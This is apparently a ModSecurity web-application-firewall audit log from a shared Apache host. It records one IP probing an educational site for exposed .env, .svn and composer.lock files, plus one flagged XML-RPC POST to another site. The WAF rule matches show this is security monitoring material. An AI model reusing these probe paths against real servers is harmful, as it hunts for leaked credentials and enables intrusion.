/clld_dir/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b3536074-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b7582486bb08a523b125c9eacbe34dc41750038886; expires=Mon, 16 Jun 2025 02:54:46 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b3536074-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/clld_dir/.env"] [unique_id "aE95ZfvF1ly0gx5reNmEygAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038885620037 664760 (- - -) Stopwatch2: 1750038885620037 664760; combined=1677, p1=394, p2=1186, p3=0, p4=0, p5=96, sr=100, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b3536074-Z-- --04224864-A-- [16/Jun/2025:07:24:59.965338 +0530] aE95c_bo0R64L12N_alfUAAAAAQ 185.177.72.210 57380 127.0.0.1 7081 --04224864-B-- GET /iisadmpwd/achg.htr HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --04224864-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=dceca32b1881eb7160bb93f66f6cb3661750038899; expires=Mon, 16 Jun 2025 02:54:59 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --04224864-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".htr"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".htr"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/iisadmpwd/achg.htr"] [unique_id "aE95c_bo0R64L12N_alfUAAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038899258196 707207 (- - -) Stopwatch2: 1750038899258196 707207; combined=2129, p1=449, p2=1576, p3=0, p4=0, p5=104, sr=101, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --04224864-Z-- --57dec102-A-- [16/Jun/2025:07:25:13.739620 +0530] aE95geMjvy_LHXlMeRAVkQAAAAU 185.177.72.210 52680 127.0.0.1 7081 --57dec102-B-- GET /:8888/wp-admin/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --57dec102-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ba65f51beaa9de684edc2528f550a1051750038913; expires=Mon, 16 Jun 2025 02:55:13 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --57dec102-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/wp-admin/.env"] [unique_id "aE95geMjvy_LHXlMeRAVkQAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038913089658 650041 (- - -) Stopwatch2: 1750038913089658 650041; combined=1870, p1=359, p2=1388, p3=0, p4=0, p5=122, sr=85, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --57dec102-Z-- --5597fd2b-A-- [16/Jun/2025:07:25:19.805716 +0530] aE95h0N_xpBAtP8SIP05jgAAAAo 185.177.72.210 52942 127.0.0.1 7081 --5597fd2b-B-- GET /secure/.svn/ HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5597fd2b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=655516ed53ad49bb161bb7260f8a861e1750038919; expires=Mon, 16 Jun 2025 02:55:19 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5597fd2b-H-- Message: Warning. Matched phrase "/.svn/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/secure/.svn/"] [unique_id "aE95h0N_xpBAtP8SIP05jgAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038919113413 692369 (- - -) Stopwatch2: 1750038919113413 692369; combined=1854, p1=419, p2=1344, p3=0, p4=0, p5=91, sr=106, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5597fd2b-Z-- --aad6332e-A-- [16/Jun/2025:07:25:22.520280 +0530] aE95iUN_xpBAtP8SIP05jwAAAAo 185.177.72.210 49388 127.0.0.1 7081 --aad6332e-B-- GET /secure/.env.local HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --aad6332e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d35ffad0fff4498455cbbad6578b227c1750038922; expires=Mon, 16 Jun 2025 02:55:22 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --aad6332e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/secure/.env.local"] [unique_id "aE95iUN_xpBAtP8SIP05jwAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038921871566 648794 (- - -) Stopwatch2: 1750038921871566 648794; combined=2002, p1=394, p2=1480, p3=0, p4=0, p5=127, sr=95, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --aad6332e-Z-- --f5bc171f-A-- [16/Jun/2025:07:25:24.501317 +0530] aE95i-hCUAahT1nBjTYROQAAAAM 185.177.72.210 49508 127.0.0.1 7081 --f5bc171f-B-- GET /Assignment3/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f5bc171f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3e46ddd0b0851c0a88d146116f80d36f1750038924; expires=Mon, 16 Jun 2025 02:55:24 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f5bc171f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/Assignment3/.env"] [unique_id "aE95i-hCUAahT1nBjTYROQAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038923833347 668035 (- - -) Stopwatch2: 1750038923833347 668035; combined=1998, p1=398, p2=1476, p3=0, p4=0, p5=123, sr=102, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f5bc171f-Z-- --79863850-A-- [16/Jun/2025:07:25:25.554203 +0530] aE95jLoFnONBt7jRcByXwgAAAA4 185.177.72.210 49562 127.0.0.1 7081 --79863850-B-- GET /.dep.inc HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --79863850-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=04a5c8d213feef812ebb46efc76ab01f1750038925; expires=Mon, 16 Jun 2025 02:55:25 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --79863850-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".dep.inc"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".dep.inc"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/.dep.inc"] [unique_id "aE95jLoFnONBt7jRcByXwgAAAA4"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038924823681 730602 (- - -) Stopwatch2: 1750038924823681 730602; combined=1697, p1=324, p2=1271, p3=0, p4=0, p5=101, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --79863850-Z-- --f6018e00-A-- [16/Jun/2025:07:25:28.402243 +0530] aE95j4kQyF8-ounHsxsI5wAAAA8 185.177.72.210 49744 127.0.0.1 7081 --f6018e00-B-- GET /test/integration/env-config/app/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f6018e00-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3fbd6b4f02c4733691efe7d513c7fddd1750038928; expires=Mon, 16 Jun 2025 02:55:28 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f6018e00-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/test/integration/env-config/app/.env"] [unique_id "aE95j4kQyF8-ounHsxsI5wAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038927648985 753324 (- - -) Stopwatch2: 1750038927648985 753324; combined=158534, p1=380, p2=1444, p3=0, p4=0, p5=78398, sr=88, sw=0, l=0, gc=78312 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f6018e00-Z-- --eb2b8a7c-A-- [16/Jun/2025:07:25:32.734061 +0530] aE95k6tKLwTaBp5GSR-1UQAAAAg 128.199.112.101 40288 127.0.0.1 7081 --eb2b8a7c-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 499 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --eb2b8a7c-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --eb2b8a7c-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE95k6tKLwTaBp5GSR-1UQAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038931803583 930541 (- - -) Stopwatch2: 1750038931803583 930541; combined=2678, p1=503, p2=1824, p3=44, p4=56, p5=160, sr=155, sw=91, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --eb2b8a7c-Z-- --80c8c116-A-- [16/Jun/2025:07:25:38.216545 +0530] aE95mYkQyF8-ounHsxsI7AAAAA8 185.177.72.210 40542 127.0.0.1 7081 --80c8c116-B-- GET /admin/.svn/entries HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --80c8c116-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7148033fa5fe0ea2c496974e6413c8fe1750038938; expires=Mon, 16 Jun 2025 02:55:38 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --80c8c116-H-- Message: Warning. Matched phrase "/.svn/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/admin/.svn/entries"] [unique_id "aE95mYkQyF8-ounHsxsI7AAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038937531665 684961 (- - -) Stopwatch2: 1750038937531665 684961; combined=1961, p1=406, p2=1407, p3=0, p4=0, p5=147, sr=105, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --80c8c116-Z-- --e33b7768-A-- [16/Jun/2025:07:25:48.929193 +0530] aE95pAS4XDlCv3KXioQIGQAAAAY 185.177.72.210 43006 127.0.0.1 7081 --e33b7768-B-- GET /:8181/.env.backup HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e33b7768-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=08ebf4f9038b4e119157212669c7380c1750038948; expires=Mon, 16 Jun 2025 02:55:48 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e33b7768-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/.env.backup"] [unique_id "aE95pAS4XDlCv3KXioQIGQAAAAY"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/:8181/.env.backup"] [unique_id "aE95pAS4XDlCv3KXioQIGQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038948255089 674178 (- - -) Stopwatch2: 1750038948255089 674178; combined=1786, p1=385, p2=1268, p3=0, p4=0, p5=133, sr=99, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e33b7768-Z-- --d5484c0b-A-- [16/Jun/2025:07:25:51.944078 +0530] aE95pzZ3uHeEW3BYvDO9QwAAAAA 185.177.72.210 50138 127.0.0.1 7081 --d5484c0b-B-- GET /:8443/.env.save.1 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d5484c0b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b5b89778e5723613d66fe329dc5958931750038951; expires=Mon, 16 Jun 2025 02:55:51 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d5484c0b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/.env.save.1"] [unique_id "aE95pzZ3uHeEW3BYvDO9QwAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038951283082 661071 (- - -) Stopwatch2: 1750038951283082 661071; combined=2221, p1=456, p2=1687, p3=0, p4=0, p5=78, sr=107, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d5484c0b-Z-- --6e57d845-A-- [16/Jun/2025:07:25:55.901285 +0530] aE95q-hCUAahT1nBjTYRSwAAAAM 185.177.72.210 50586 127.0.0.1 7081 --6e57d845-B-- GET /app/composer.lock HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6e57d845-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e95553edba3499df2c31411cfc7d22a01750038955; expires=Mon, 16 Jun 2025 02:55:55 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6e57d845-H-- Message: Warning. Matched phrase "/composer.lock" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/composer.lock" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/app/composer.lock"] [unique_id "aE95q-hCUAahT1nBjTYRSwAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038955240567 660806 (- - -) Stopwatch2: 1750038955240567 660806; combined=1732, p1=382, p2=1260, p3=0, p4=0, p5=90, sr=92, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6e57d845-Z-- --ebaa0103-A-- [16/Jun/2025:07:26:01.132719 +0530] aE95sPvF1ly0gx5reNmE-AAAAAE 185.177.72.210 45574 127.0.0.1 7081 --ebaa0103-B-- GET /SpotiApps/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: 